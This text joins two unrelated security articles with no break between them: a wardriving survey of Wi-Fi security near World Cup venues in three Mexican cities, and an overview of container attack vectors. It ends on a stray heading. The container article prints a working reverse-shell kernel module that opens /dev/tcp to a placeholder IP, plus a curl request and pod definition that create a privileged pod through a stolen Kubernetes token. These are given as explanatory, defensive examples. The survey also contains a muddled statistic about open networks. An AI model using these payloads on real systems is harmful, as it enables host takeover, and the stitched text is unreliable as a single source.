The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.

We chose the following analysis areas for each of the cities:

1. Mexico City: México City Stadium, Mexico City International Airport, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco, and Coyoacán.
2. Guadalajara: Guadalajara Stadium, Guadalajara International Airport, the city center, Zapopan, Providencia, Avenida Chapultepec, Colonia Americana, Tlaquepaque, and the area around Andares.
3. Monterrey: Monterrey Stadium, Monterrey International Airport, Fundidora Park, Cintermex Monterrey, the downtown area, Barrio Antiguo, MacroPlaza, and the San Pedro financial district.

The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:

• SSID analysis and information exposure, including BSSID-derived SSIDs
• Default router configurations and ISP deployments
• Frequency and signal characteristics
• Channel congestion and spectrum usage
• Wireless security configurations, including:
  • Open and insecure wireless networks
  • WPS-enabled networks
  • Secure networks (WPA2/WPA3) with WPS enabled

We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.

In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.

Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.

The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.

Our findings

SSID analysis and information exposure

SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.

Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.

SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.

Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.

Distribution of SSID naming conventions (download)

Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.

Most frequently observed SSID patterns (download)

Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.

We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.

The following graph shows the top five sequential SSID patterns found in the largest number of networks:

Five most frequently observed sequential patterns (download)

Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.

BSSID-derived SSID

During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.

The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.

BSSID-derived SSID by city (download)

Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.

Default router configurations and ISP deployments

We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.

Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.

The following figure shows the distribution of the most commonly used manufacturers.

Most frequently observed wireless equipment manufacturers (download)

The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.

Most frequently observed wireless equipment manufacturers across the three cities (download)

ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.

It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.

The following figure illustrates the distribution of ISP-associated wireless deployments in general.

Most frequently observed ISPs (download)

To better understand this distribution, we took the most frequently observed ISPs by city.

Most frequently observed ISPs across the three cities (download)

Frequency and signal characteristics

We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.

Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.

Signal quality distribution by city (download)

Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.

These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.

Signal stability status (download)

Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.

Frequency band utilization (download)

These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.

Channel congestion and spectrum usage

Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.

Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.

The following figure illustrates the overall distribution of the most frequently utilized wireless channels.

Most utilized wireless channels (download)

To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.

Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.

These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.

Channel congestion by city (download)

A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.

In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.

This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.

Most congested channels by city (download)

Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.

Wireless security configurations

The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.

Overall security configuration distribution

The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.

The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.

Distribution of wireless authentication mechanisms across the three locations (download)

To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:

• Secure (WPA2/WPA3)
• Insecure (Open/WEP)
• Weak (WPA)
• Unknown

Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.

Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.

Wireless security posture grouping across the three locations (download)

Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.

WPS-enabled networks

We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.

By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.

During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.

The percentage of detected access points advertising WPS capabilities across the three locations (download)

Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.

Secure networks with WPS enabled

In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.

To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:

• Mexico City: 53.7%
• Guadalajara: 50.9%
• Monterrey: 47.5%

The proportion of secure networks with WPS enabled across the three locations (download)

These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.

Additional security considerations

Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.

Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.

Conclusion

The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.

Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.

The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.

SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.

The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.

Recommendations

To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:

• Disable WPS functionality on wireless routers whenever possible, particularly within WPA2/WPA3 deployments.
• Avoid using default SSID naming conventions that disclose ISP providers, router manufacturers, or deployment templates.
• Refrain from using personal, organizational, or location-based identifiers in wireless network names.
• Avoid configuring SSID using BSSID or naming conventions derived from MAC addresses, as these may expose hardware fingerprinting information.
• Promote migration toward modern WPA3-capable infrastructure while removing legacy wireless protocols when operationally feasible.
• Reduce wireless congestion by optimizing channel allocation strategies and minimizing excessive dependence on the 2.4 GHz spectrum.
• Encourage adoption of 5 GHz and newer wireless technologies to reduce interference and improve spectrum efficiency.

The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

Introduction

